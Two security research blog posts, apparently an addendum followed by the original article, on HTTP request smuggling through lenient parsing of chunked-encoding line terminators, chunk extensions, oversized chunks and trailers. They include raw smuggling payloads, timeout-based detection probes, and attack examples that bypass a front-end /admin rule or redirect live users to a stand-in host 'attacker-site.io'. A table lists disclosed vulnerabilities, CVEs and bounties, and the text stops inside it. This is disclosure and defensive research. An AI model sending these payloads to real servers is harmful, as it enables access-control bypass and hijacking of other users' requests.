After revisiting my own recent article introducing a small family of request smuggling techniques, I was struck by the realization that I had not quite drawn the family tree to completion. There are still a few branches left to trace – close relatives that until now have escaped our attention. To remedy this oversight, I have put together this short addendum in which we will finally make the proper introductions and welcome these neglected smuggling techniques into the family.
In the interest of brevity, I will not include an introduction here. To understand the context of this article, you will therefore need to read the original one first.
In Funky chunks: abusing ambiguous chunk line terminators for request smuggling, we surveyed a series of HTTP/1.1 chunked-body parsing leniencies. One of them, mentioned only briefly, now turns out to be of a fundamentally different nature than the others. In fact, as we will soon see, this particular leniency unlocks an entirely new subclass of chunk-based request smuggling techniques.
The leniency in question is the following: accepting any two bytes as the line terminator of a chunk body. A parser affected by such a leniency would interpret the highlighted XX sequence as a line terminator in the example chunked body below.
d\r\n
Hello, world!XX
0\r\n
\r\n
This is a fairly common quirk, presumably because only the sequence \r\n is valid in this location. Many parsers simply skip two bytes, not bothering to confirm that the skipped sequence is in fact a CRLF. This behavior is (or rather, was) exhibited by parsers such as h11, uHTTPd, and even older versions of llhttp.
Now, recall another common leniency in chunk body parsing: accepting a lone \n as a line terminator, a technically incorrect yet highly prevalent behavior. Perhaps you already see where this is going.
If either the front-end proxy or the back-end server assumes a two-byte CRLF without checking it, and the other accepts \n (or any other one-byte or zero-byte sequence) as a line terminator, chunk boundaries begin to blur. To see this, consider what happens when a chunk body with a one-byte line terminator is processed by a parser that carelessly advances two bytes after each chunk body. The parser will inadvertently consume a byte from the subsequent chunk header, effectively corrupting the chunk size. This causes the front-end and back-end parsers to disagree on the size of the next chunk, thereby enabling – you guessed it – HTTP request smuggling.
I see two variants of this new length-based technique:
\n) or no line terminator at all.\n) or no line terminator at all, and the server interprets any two-byte sequence as a line terminator.It is worth noting that the parsing leniencies we are exploiting here are not actually any different from the ones described in my original blog post – these are just additional ways of combining leniencies to obtain a request smuggling primitive.
To keep things short, we’ll discuss only one of these variants in depth. I trust that you, dear reader, will be able to construct an equivalent attack for other variants, should the need arise.
Let us then consider the arguably most plausible scenario: a front-end accepting \n as a line terminator and a back-end accepting any two-byte sequence.
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\r\nchunk header
xx\nchunk body
50\r\nchunk header
\r\nchunk body
GET /two HTTP/1.1\r\n
Host: localhost\r\n
X-Pad: AAAAA\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
Proxy interpretation
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\r\nchunk header
xx\n5chunk body
0\r\nlast chunk
\r\n
GET /two HTTP/1.1\r\nrequest #2
Host: localhost\r\n
X-Pad: AAAAA\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
Server interpretation
The front-end interprets the \n as a line terminator and 50 as the size of the second chunk. On the back-end, the first byte of the second chunk size is consumed by the server, assuming it to be part of the line terminator. This changes the perceived size of the second chunk from 50 to 0, causing the server to interpret it as the end of the request. What the front-end considers the content of the second chunk is therefore interpreted as a second pipelined request on the back-end.
We now move on from chunks and chunk sizes and instead turn our attention to another notable feature of HTTP/1.1 chunked encoding, a feature that we foolishly ignored in the original article despite its clear applicability to our request smuggling endeavors: the chunked trailer section.
The trailer section is essentially an optional header section following the last chunk of an HTTP message using chunked encoding. Let’s get familiar with the syntax by taking a look at an example.
POST /some/path HTTP/1.1\r\n
Host: example.com\r\n
Content-Type: text/plain\r\n
Transfer-Encoding: chunked\r\n
\r\n
d\r\nchunk header
hello, world!\r\nchunk body
0\r\nlast chunk
Trailer-One: value-one\r\ntrailer section
Trailer-Two: value-two\r\n
\r\nIn parsing the trailer section, I’ve noticed two common approaches.
The first approach is to reuse the parsing logic for the header section. From a programmer’s perspective, this is a sensible choice – surely, one should not implement the same parsing logic twice! Unfortunately, there is a subtle but important difference between the headers and the trailers: a lone newline is not an acceptable line terminator in the chunked trailer section. As you may imagine, many parsers ignore this nuance and interpret a single \n as a line terminator in the trailer section anyway.
The second approach is to treat the trailer section much like the chunk extensions: consume it with no regard for its contents. This might seem like odd behavior, but it is a perfectly valid choice; the trailer section is optional metadata and recipients are allowed to discard it. Parsers employing this approach often look only for the \r\n\r\n sequence that marks the end of the trailer section, effectively (and erroneously) allowing any byte – including lone \n and \r characters – within the section.
These observations lead us to a brand-new set of exploitable parsing leniencies: by placing what one parser interprets as two consecutive line terminators in what another parser interprets as the trailer section, we have once again stumbled upon a new flavor of chunk-based request smuggling.
Consider first the scenario in which the front-end proxy ignores lone \n characters in the chunked trailer section, but the back-end web server interprets them as line terminators. In such a scenario, we can smuggle a request past the front-end using the surprisingly simple payload below.
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2\r\nchunk header
xx\r\nchunk body
0\r\nlast chunk
\ntrailer section
GET /two HTTP/1.1\r\n
Host: localhost\r\n
\r\n
TRAIL interpretation (proxy)
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2\r\nchunk header
xx\r\nchunk body
0\r\nlast chunk
\n
GET /two HTTP/1.1\r\nrequest #2
Host: localhost\r\n
\r\n
TERM interpretation (server)
The proxy ignores the lone newline following the last chunk, interpreting it as part of the trailer section. It perceives the remaining data – which the back-end interprets as a second request – as a chunked trailer section. Conveniently, the last two consecutive CRLF sequences serve both as the termination of the trailer section and the second pipelined request.
Note: The first chunk is not strictly needed, but experience has taught me that some proxies rewrite requests with an empty body. The first chunk serves to prevent this rewriting behavior.
As it turns out, the TERM.TRAIL scenario is quite a bit more complicated. Before we deep-dive into why, let’s first think about how we may construct an equivalent to the TRAIL.TERM payload above. In doing so, we quickly realize that we cannot ‘split’ a request as we usually would, because the ‘split’ can only occur on the front-end; once we add the ambiguous line terminators, the front-end interprets them as the end of the request. We have no way of splitting the request on the back-end instead.
There is a workaround, though: we can use two requests. This would perhaps more accurately be described as ‘request joining’ rather than ‘request splitting’, because what the front-end perceives as two separate requests is squashed into a single request on the back-end – not the other way around.
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2\r\nchunk header
xx\r\nchunk body
0\r\nlast chunk
\n
GET /two HTTP/1.1\r\nrequest #2
Host: localhost\r\n
Content-Length: 40\r\n
\r\n
GET /three HTTP/1.1\r\nrequest body
Host: localhost\r\n
\r\nTERM interpretation (proxy)
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2\r\nchunk header
xx\r\nchunk body
0\r\nlast chunk
\ntrailer section
GET /two HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 40\r\n
\r\n
GET /three HTTP/1.1\r\nrequest #2
Host: localhost\r\n
\r\nTRAIL interpretation (server)
Using our two-request technique, it seems we yet again have managed to hide a request from the front-end parser. The back-end sees a trailer section where the front-end sees a second request, and as a result, the Content-Length header is ignored and the body of the second request is interpreted as a separate request on the back-end.
There is one major problem, however.
Consider what happens when a proxy receives these two pipelined requests. It will initially only forward what it interprets as the first request, which in turn is interpreted as an incomplete request on the back-end. Since the request is incomplete, the back-end will not return a response, and the proxy will eventually time out and therefore never forward the second request – the attack fails.
Until recently, I had dismissed TERM.TRAIL as unexploitable due to this inevitable upstream connection timeout. I later discovered that it is in fact exploitable against a small subset of web servers like AIOHTTP, Koa, and Actix Web, which respond before receiving the request body (unless the body is explicitly read by the application). Shortly after this realization, James Kettle introduced the concept of an early-response gadget in his 2025 HTTP desync research, proving that even servers like nginx and IIS exhibit early-response behavior when rubbed the right way. We may therefore conclude that TERM.TRAIL is exploitable – with the added caveat that an early-response gadget is required.
Although Kettle’s work on early-response focused on 0.CL vulnerabilities, the idea is equally applicable to our TERM.TRAIL case; if the back-end responds early, the proxy will forward the second request, allowing the smuggled request to be delivered. It’s worth noting that unlike in 0.CL exploitation, here we do not have to worry about the lengths of any request headers added by the front-end.
Armed with our newfound knowledge, it is only natural to wonder whether any more bounties or CVEs might be unearthed using these techniques. Unfortunately, the yields have been rather underwhelming.
Since the length-based techniques are only exploitable against parsing behaviors that I have already demonstrated to be dangerous, there are no additional CVEs to be issued. Scanning for these vulnerabilities across a range of bug bounty targets sadly met with little success, perhaps partly as a result of my having reported these vulnerabilities to a dozen projects months ago.
Regarding trailer-based techniques, TRAIL.TERM remains a theoretical vulnerability, as none of the proxies I’ve tested exhibited the required parsing behavior. I did identify multiple TERM.TRAIL-vulnerable setups, including even a couple of real-world instances in bug bounty targets, but I was unable to find the necessary early-response gadgets in most cases. The only exploitable setup I did find was AIOHTTP behind Akamai, Imperva, or Google Classic Application LB, which has now been fixed. Google Cloud even awarded a generous $13,337 bounty for the parsing flaw in their load balancer.
Safe to say, these vulnerabilities are by no means as prevalent as the ones discussed in Funky chunks. Nonetheless, I found them interesting to include in this addendum. If you wish to go looking for these vulnerabilities in the wild yourself, I’ve updated smugchunks with more blind detection payloads.
]]>The HTTP/1.1 standard seems to be riddled with strange features that absolutely no one uses and no one even really knows about. Of course, HTTP implementers with an ambition of adhering to the specification need to support these protocol quirks anyway, and unfortunately, this often results in parsing logic that is lax or incomplete – after all, why bother enforcing strict syntax rules for protocol elements that aren’t used for anything anyway?
In this post, we will explore how seemingly innocuous leniencies in the parsing of chunked message bodies, particularly in line terminators, can result in request smuggling vulnerabilities in widely-used servers and proxies. I will share new exploitation techniques and payloads, methods for black-box detection, and a few recent vulnerabilities found in well-known HTTP implementations.
We begin our journey in a strange and largely forgotten corner of the HTTP/1.1 RFC specification, a section that feels unfamiliar even to those of us who spend our days staring at HTTP requests. As you may have guessed from the title, I am referring to section 7.1.1 of RFC 9112, birthplace of the chunk extension.
7.1.1. Chunk Extensions
The chunked coding allows each chunk to include zero or more chunk extensions, immediately following the chunk-size, for the sake of supplying per-chunk metadata (such as a signature or hash), mid-message control information, or randomization of message body size.
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-name = token chunk-ext-val = token / quoted-string
Chunk extensions are an optional feature for HTTP messages using chunked transfer encoding. Before we move on to discuss chunk extensions further, let us first briefly remind ourselves of the syntax of chunked-encoding HTTP messages.
Chunked transfer encoding is signaled by the Transfer-Encoding: chunked header. In such messages, the body is divided into chunks, each consisting of what we may refer to as a chunk header and a chunk body, both of which are terminated by a CRLF sequence. The chunk header consists of a hexadecimal number specifying the chunk size, optionally followed by any number of semicolon-separated chunk extensions. The chunk body contains the actual data being delivered, its length indicated by the header. The message ends when a zero-sized chunk is encountered.
POST /some/path HTTP/1.1\r\n
Host: example.com\r\n
Content-Type: text/plain\r\n
Transfer-Encoding: chunked\r\n
\r\n
9\r\nchunk header
some data\r\nchunk body
e;foo=bar\r\nchunk header
some more data\r\nchunk body
0\r\nlast chunk
\r\n
Using these optional chunk extensions, a sender can attach metadata to each individual chunk they send. This is exemplified in the request above in which the metadata foo=bar is attached to the second chunk. To be clear, these chunk parameters are not the data delivered to the web application – they’re metainformation meant for the server processing the request.
So what are these chunk extensions actually used for? The answer is simple: nothing. No HTTP implementation makes any meaningful use of chunk extensions – servers ignore them and clients don’t send them. It seems that the protocol designers have simply anticipated a need that would never turn out to exist. To put it bluntly: nobody cares about chunk extensions.
Nothing makes this simple truth more apparent than reviewing the source code of a couple of HTTP implementations. A consistent behavior you’ll find is that HTTP parsers simply consume the chunk extensions, discarding the contents. I believe a common sentiment among developers tasked with writing such parsing logic is quite nicely summarized in this function found in the net/http package of the Golang standard library.
func removeChunkExtension(p []byte) ([]byte, error) {
p, _, _ = bytes.Cut(p, semi)
// TODO: care about exact syntax of chunk extensions? We're
// ignoring and stripping them anyway. For now just never
// return an error.
return p, nil
}
To an HTTP implementer, the chunk extension is indeed nothing more than a nuisance one has to account for in order to comply with the HTTP standard. However, the RFC is actually quite particular about what characters are allowed in chunk extensions and the syntax rules are not exactly straightforward. As a result, most HTTP implementations do not strictly adhere to the chunk extension specification. And this makes sense – why would they, when they’re just “ignoring and stripping them anyway”, as one Golang developer put it so aptly?
Parsers may choose to throw away chunk extensions, but they do still have to parse them. And as we’ve already established, parsers are inclined to do so somewhat carelessly, since the contents are discarded anyway. This is fertile ground for misinterpretations. Let us explore that further with a simple thought experiment.
Imagine that you’re an HTTP parser, dutifully working your way through a chunk header. You encounter a semicolon, signaling the start of a chunk extension. Now, in your parsing of this chunk extension (which you intend to fully ignore), you come across a lone \n character. This is a bit unusual, and what you’re really looking for is the CRLF terminator of the chunk header. What do you do?
Allow it: You treat the \n like any other byte – you ignore it and continue searching for the CRLF sequence.
Interpret it as a line terminator: The client might not be fully compliant, but they obviously intended the \n to be a line terminator – you interpret the \n as the end of the chunk header and start parsing the body.
Reject the request: This request appears to be malformed – you respond with a client error.
Let’s go through these options one by one.
It’s easy to see how a parser might come to choose option 1 without the author even realizing it. If it’s only looking for the terminating CRLF sequence without any intention of caring about the chunk extension, it will plausibly just throw away the \n along with any other byte (legal or otherwise) that might exist between the ; and \r\n sequences. Control characters like newlines are not allowed in chunk extensions, and of course allowing illegal characters is incorrect behavior, so this option is in violation of the RFC.
The second option – interpreting the newline as a line terminator – might at a glance appear valid. After all, the RFC allows interpreting lone LFs as line terminators in the request line and headers, so why not the chunk headers? Unfortunately, no such exception exists for the chunk lines; only the complete CRLF is a valid line terminator in the chunked body. You might not feel convinced that this is true, and I will grant you that it is a strange complication, especially since it’s not even explicitly addressed in the specification. However, this errata review from 2023 confirms that the difference in allowed line terminators is in fact by design. As such, we conclude that option 2 is also in violation of the RFC.
Indeed, the only technically correct course of action is option 3: rejecting the request.
Either of the two lenient parsing options is a harmless behavior on its own, but consider an environment with both a front-end reverse proxy (e.g. a load balancer, cache, or WAF) and a back-end web server. If the proxy in such an architecture applies one of the two incorrect interpretations while the server applies the other, we’re left with a parsing discrepancy. This discrepancy can be exploited to construct ambiguous HTTP requests, enabling HTTP request smuggling attacks.
There are two variants of this type of request smuggling vulnerability. I will refer to these as TERM.EXT and EXT.TERM:
While the newline character \n is perhaps the best example of a sequence that can cause a parsing discrepancy, these techniques are not limited to \n; other potentially ambiguous sequences such as \rX and \r are equally exploitable, although much more uncommon.
An interesting thing to note is that these vulnerabilities fundamentally differ from conventional request smuggling vulnerabilities in that they do not rely on confusion between the Content-Length and Transfer-Encoding headers. This is good news for attackers, because while the RFC forbids an intermediary from forwarding both these headers, chunk extensions can legally be forwarded. Many intermediaries do remove or normalize them, though.
Let us first take a look at a simple TERM.EXT request smuggling payload. Below, both interpretations are shown using highlights to display the perceived chunk boundaries.
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\nchunk header
xx\r\nchunk body
45\r\nchunk header
0\r\nchunk body
\r\n
GET /two HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
TERM interpretation (proxy)
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\nchunk header
xx\r\n
45\r\nchunk body
0\r\nlast chunk
\r\n
GET /two HTTP/1.1\r\nrequest #2
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
EXT interpretation (server)
The key thing to notice in this request is of course the newline in the chunk extension which causes the parsing discrepancy. The proxy, interpreting the newline as a line terminator, will consider 45 the size of the second chunk, whereas the server will consider it the content of the first chunk. As such, a second pipelined request can be hidden in what the proxy perceives as the body of the second chunk.
Note: The vulnerability I now presumptuously have coined ‘TERM.EXT’ was actually documented back in 2021 by Matthias Grenfeldt and Asta Olofsson. I’ve taken the liberty of naming it to reflect its place in the broader family of chunk parsing vulnerabilities.
The EXT.TERM variant has to my knowledge never been documented before, although it follows quite naturally from the TERM.EXT technique. Let us have a look at a payload equivalent to the TERM.EXT payload above.
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
45;\nchunk header
AAAAAAAAAAAAA... [69]\r\n
0\r\nchunk body
\r\n
GET /two HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
EXT interpretation (proxy)
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
45;\nchunk header
AAAAAAAAAAAAA... [69]\r\nchunk body
0\r\nlast chunk
\r\n
GET /two HTTP/1.1\r\nrequest #2
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
TERM interpretation (server)
Much like in the TERM.EXT payload, the parsing discrepancy is introduced by the illegal \n in the chunk extension. The proxy ignores the sequence of 69 (0x45) A’s in the perceived chunk extension, whereas the server considers it the content of the first chunk. The remaining data is therefore interpreted as the chunk body by the proxy, but as a pipelined request by the server.
The attentive reader may have noticed that the TERM.EXT and EXT.TERM vulnerabilities are not so much inconsistencies in the parsing of chunk extensions as they are inconsistencies in the parsing of line terminators. The chunk extension itself is nothing more than a convenient place to hide a sequence of padding bytes (like 'xx' or 'AAAAA...'). In this light, it is only natural to ask: are line terminator parsing discrepancies in the chunk body not exploitable as well?
At first glance, the obvious answer appears to be no, precisely because there is no equivalent to the chunk extension in the chunk body. However, I have found that given the presence of one additional fairly common parsing leniency, we can extend the TERM.EXT and EXT.TERM techniques to exploit similar flaws in the line terminator parsing of the chunk body.
The trick is to use oversized chunks – that is, chunks with larger bodies than indicated in the chunk header. For example, consider the invalid chunked message body below:
5\r\n
AAAAAXXX\r\n
0\r\n
\r\n
Some HTTP servers and proxies accept such malformed chunks and simply ignore the trailing excess bytes which I will henceforth refer to as the spill. By placing a sequence that one parser interprets as a line terminator in what another parser interprets as a spill, we obtain an exploitable parsing discrepancy. This allows us to define a new set of complementary parsing vulnerabilities that to my knowledge has never before been documented.
Let us first consider the scenario in which the server accepts oversized chunk bodies. To exploit this leniency, we must then find a sequence that only the proxy recognizes as a line terminator.
In my experience, parsers are even more lenient regarding the CRLF after the chunk body. Since only the sequence \r\n is valid in this location, some parsers do not even bother to check it and just accept any 2-byte sequence. Here’s an example payload effective against a proxy using such a parser.
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
5\r\nchunk header
AAAAAXXchunk body
45\r\nchunk header
0\r\nchunk body
\r\n
GET /two HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
TERM interpretation (proxy)
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
5\r\nchunk header
AAAAAXXchunk body
45\r\n
0\r\nlast chunk
\r\n
GET /two HTTP/1.1\r\nrequest #2
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
SPILL interpretation (server)
On the front-end, the XX sequence is interpreted as a CRLF, and the subsequent 45 sequence is interpreted as the size of the next chunk. On the back-end, the entire XX45 sequence is interpreted as spill bytes and thus ignored. Therefore, a second pipelined request can be hidden in what the proxy perceives as the body of the second chunk.
In the opposite scenario, the proxy ignores spills in chunk bodies and we must find a sequence to place in a spill that only the server interprets as a line terminator. Let us this time suppose that a \rX sequence is ignored on the front-end but interpreted as a line terminator on the back-end.
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
5\r\nchunk header
AAAAA\rXchunk body
2\r\n
45\r\nchunk header
0\r\nchunk body
\r\n
GET /two HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
SPILL interpretation (proxy)
GET /one HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
5\r\nchunk header
AAAAA\rXchunk body
2\r\nchunk header
45\r\nchunk body
0\r\nlast chunk
\r\n
GET /two HTTP/1.1\r\nrequest #2
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\nlast chunk
\r\n
TERM interpretation (server)
Here, the \rX2 spill is ignored by the proxy, but interpreted as a CRLF followed by a chunk size of 2 on the back-end. Consequently, the 45 sequence is interpreted as a chunk size by the proxy, but as data by the back-end server, once again allowing a second request to be hidden from the proxy.
Normalization is the natural-born enemy of all four kinds of request smuggling we’ve discussed in the previous sections. Indeed, if the proxy strips chunk extensions and ‘spills’, replaces all line terminators with \r\n, or just rewrites the entire request with a Content-Length header, then it doesn’t really matter what parsing leniencies either the proxy or server has; it’s just not possible to cause a parsing discrepancy.
It is tempting to conclude from the above that a proxy that normalizes the chunked body before forwarding the request is immune to these sorts of attacks. One might even go as far as to claim that such a proxy should parse leniently in the name of robustness, as is decreed by Postel’s Law:
be conservative in what you send, be liberal in what you accept
The trouble with this assumption is that a proxy does not know in advance whether any additional proxies will be placed in front of it – it is not uncommon to chain proxies with different purposes in modern architectures. In such environments, a chunk-normalizing proxy with one of the parsing flaws we’ve discussed could still be exploitable for request smuggling if another downstream proxy is affected by the complementary parsing flaw.
Vulnerable combinations of servers and proxies can quite easily be identified by analyzing source code, but rarely do we in practice have the luxury of access to such details of our target’s systems. To discover these vulnerabilities in the wild, we need generic probes.
In order to design such probes, we can adapt the timeout-based detection methods developed by James Kettle in his 2019 request smuggling research. The key idea here is to construct an HTTP request that will (1) cause a vulnerable front-end to drop the last portion of the request body and (2) cause a vulnerable back-end to hang if (and only if) some of the body doesn’t arrive. This concept can quite easily be adapted to our little family of chunk parsing vulnerabilities.
POST / HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\n
xx\r\n
10\r\n
1f\r\n
AAAABBBBCCCC\r\n
0\r\n
\r\n
DDDDEEEEFFFF\r\ndropped by front-end
0\r\n
\r\n
TERM.EXT probe
POST / HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\n
xx\r\n
22\r\n
c\r\n
AAAABBBBCCCC\r\n
0\r\n
\r\n
DDDDEEEEFFFF\r\ndropped by front-end
0\r\n
\r\n
EXT.TERM probe
In each of the example probes above, a proxy with the corresponding parsing flaw will interpret the first 0\r\n\r\n sequence as the terminating zero-sized chunk, causing it to drop the part of the request marked in red. A vulnerable server receiving the request without the last part will expect more data to arrive, causing it to hang and eventually time out. This results in an easily identifiable time delay.
I’ve written a scanner script I call smugchunks for automating this vulnerability discovery technique. For those interested, its source code is publicly available on GitHub and includes payloads for TERM.SPILL and SPILL.TERM detection as well.
Exploiting chunk parser differentials is really not much different from exploiting any other kind of request smuggling vulnerability; they can be used for the same attacks you know and love, such as circumventing front-end security controls and serving malicious responses to unsuspecting live clients.
In the interest of empowering readers to apply these techniques in practice, I’ve included a brief discussion on exploitation with some examples here. If you’re already well-versed in request smuggling, you will probably find nothing new in this section – feel free to skip ahead.
As a smuggled request (by its very definition) is not interpreted as a request by the front-end proxy, it will not be subjected to any access control rules the front-end may enforce, nor will the front-end rewrite the headers of the request as it would normally. Depending on the nature and purpose of the proxy in question, bypassing these front-end operations can be hugely impactful.
Consider, for example, a front-end that restricts access to /admin. By exploiting a TERM.EXT vulnerability, we can circumvent this access control rule using a payload like the one below.
GET / HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\n
xx\r\n
47\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
This simple payload, however, suffers from a major limitation. While the smuggled request will reach the back-end server, its response will not be returned to us. This is because the proxy believes it received only a single request, so it will usually not reply with two responses.
Fortunately, we can quite easily overcome this apparent blindness with a minor modification to the payload. We simply replace the Transfer-Encoding header with an oversized Content-Length header in the smuggled request and append a second pipelined request. When we make this change, we must also remember to update the chunk size accordingly.
GET / HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\n
xx\r\n
3f\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 40\r\n
\r\n
0\r\n
\r\nGET / HTTP/1.1\r\nrequest #2
Host: localhost\r\n
\r\nProxy interpretation
GET / HTTP/1.1\r\nrequest #1
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\n
xx\r\n
3f\r\n
0\r\n
\r\nGET /admin HTTP/1.1\r\nrequest #2
Host: localhost\r\n
Content-Length: 40\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n
\r\nServer interpretation
From the proxy’s perspective, it is now receiving two pipelined requests, so it will happily return two responses. However, what the proxy considers to be the second pipelined request is in fact interpreted as the body of the smuggled request on the back-end. As such, we will obtain the response to the GET /admin request in the second response.
An important caveat here is that the payload above will not work if the front-end decides to forward the requests over two separate back-end connections. In this situation, we can obtain the response by instead issuing a series of GET / follow-up requests after delivering the payload. One of these should eventually be routed through the same connection as the payload and consequently be served the response to the smuggled request. Of course, this carries with it the risk of another client reaching the poisoned socket first. Incidentally, that is what we will deliberately exploit in the next section.
A very similar technique can be used to corrupt the requests sent by other live clients of the server. Instead of sending follow-up HTTP requests ourselves, we smuggle a request with an oversized Content-Length and wait for another user’s request to reach the same socket. The server will interpret the victim’s request as the body of the smuggled request, causing the victim to receive the response that the back-end server intended for us.
This is particularly impactful if we have a way of eliciting a harmful response from the server. For example, an otherwise unexploitable header-based open redirect can be used to redirect random live users to a site of our choosing. If the application for instance responds with a 301 Redirect with a Location header reflecting the value of the X-Forwarded-Host request header, live users of an EXT.TERM-vulnerable application could be redirected to attacker-site.io using the payload below.
GET / HTTP/1.1\r\n
Host: localhost\r\n
Transfer-Encoding: chunked\r\n
\r\n
5f;\n
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: localhost\r\n
X-Forwarded-Host: attacker-site.io\r\n
Content-Length: 100\r\n
\r\n
0\r\n
\r\n
Once the front-end forwards another request over the same back-end connection, the server will interpret it as the body of the smuggled request and respond accordingly, leading to the victim being served the malicious redirect. On the back-end, the request looks as shown below.
GET / HTTP/1.1\r\n
Host: localhost\r\n
X-Forwarded-Host: attacker-site.io\r\n
Content-Length: 100\r\n
\r\n
0\r\n
\r\n
GET /some/path HTTP/1.1\r\nvictim's request
Host: localhost\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\r\n
...Such prefixing-based attacks can be adapted in a large variety of ways to perform devastating attacks against live clients with zero user interaction. As these exploitation techniques are not unique to the kinds of request smuggling vulnerabilities we have introduced in this article, I will not discuss them at length here. For a more comprehensive review of such attacks, I recommend the Portswigger Web Security Academy’s article on the topic.
Having developed these techniques, I set out to find vulnerable proxies and servers. In this endeavor, the amazing HTTP Garden project created by Ben Kallus and Prashant Anantharaman proved immensely valuable for quickly identifying chunk parsing inconsistencies across a wide range of HTTP implementations.
Running the black-box probes against a range of bug bounty targets also revealed several instances of real-world request smuggling vulnerabilities that had been overlooked for years. In fact, the EXT.TERM variant was entirely theoretical at the time I developed these probes – the only vulnerable front-end I discovered was a closed-source product identified using a probe against a live target.
Let’s take a look at the affected systems.
First, a brief reminder: In TERM.EXT and EXT.TERM vulnerabilities, the parsing discrepancy is introduced by a \n (or another sequence) in a chunk extension. Some parsers will interpret this as a line terminator and others will interpret it as part of the chunk extension, both of which are technically incorrect behaviors.
Interpreting newlines as line terminators turned out to be a very common flaw in both web servers and proxies. The limiting factor for exploitation is really normalization rendering the attack impossible in most cases. However, I did manage to discover three well-known vulnerable proxies that do not apply any line terminator normalization in the chunked body. Vulnerable servers are more common, since they (unlike proxies) cannot protect themselves by normalizing requests.
I’ve listed my discoveries in the table below. For more information about the resolution of each vulnerability, hover your mouse over the cell elements.
| TERM.EXT | EXT.TERM | |
|---|---|---|
| Proxies |
1. Apache Traffic Server
Assigned CVE-2024-53868.
2. Google Classic Application Load Balancer Awarded a $15,000 bounty by the Google VRP. |
1. Imperva CDN Awarded a $600 bounty. |
| Servers |
1. AIOHTTP
Assigned CVE-2024-52304.
2. fasthttp Fixed in PR #1899.
3. Gunicorn Known issue. Fix pending, see PR #3327.
|
1. nginx
Decided not to fix.
2. Eclipse Jetty Fixed in PR #12564.
3. Eclipse Grizzly Fixed in PR #2220 (off by default).
4. netty Fixed in PR #15611.
5. H2O Fixed in PR #82.
6. Golang net/http Assigned CVE-2025-22871 and awarded a $5,000 bounty by the Google VRP. |
Any combination of one of these proxies coupled with one of the servers in the same column would result in a vulnerability. As an example, here’s a TERM.EXT proof-of-concept attacking an AIOHTTP application behind a Google Cloud Classic Application Load Balancer.
The payload in the video smuggles a POST /admin request with an oversized Content-Length header past the load balancer (which is configured to reject requests to /admin). After a few repeated requests, the response to the smuggled request is served.
For TERM.SPILL and SPILL.TERM vulnerabilities to arise, there must be a discrepancy in the line terminator parsing of the chunk body. Additionally, either the server or the proxy must accept oversized chunks.
Judging by the results of my own experimentation, TERM.SPILL and SPILL.TERM vulnerabilities are not quite as common as their TERM.EXT and EXT.TERM counterparts. Despite my efforts, I was unable to find a single proxy vulnerable to TERM.SPILL, which therefore remains a completely theoretical vulnerability for now. However, I did discover a few setups vulnerable to the SPILL.TERM variant.
| TERM.SPILL | SPILL.TERM | |
|---|---|---|
| Proxies | None No TERM.SPILL-vulnerable proxies were found. |
1. Google Classic Application Load Balancer
Assigned CVE-2025-4600 and awarded a $15,000 bounty by the Google VRP.
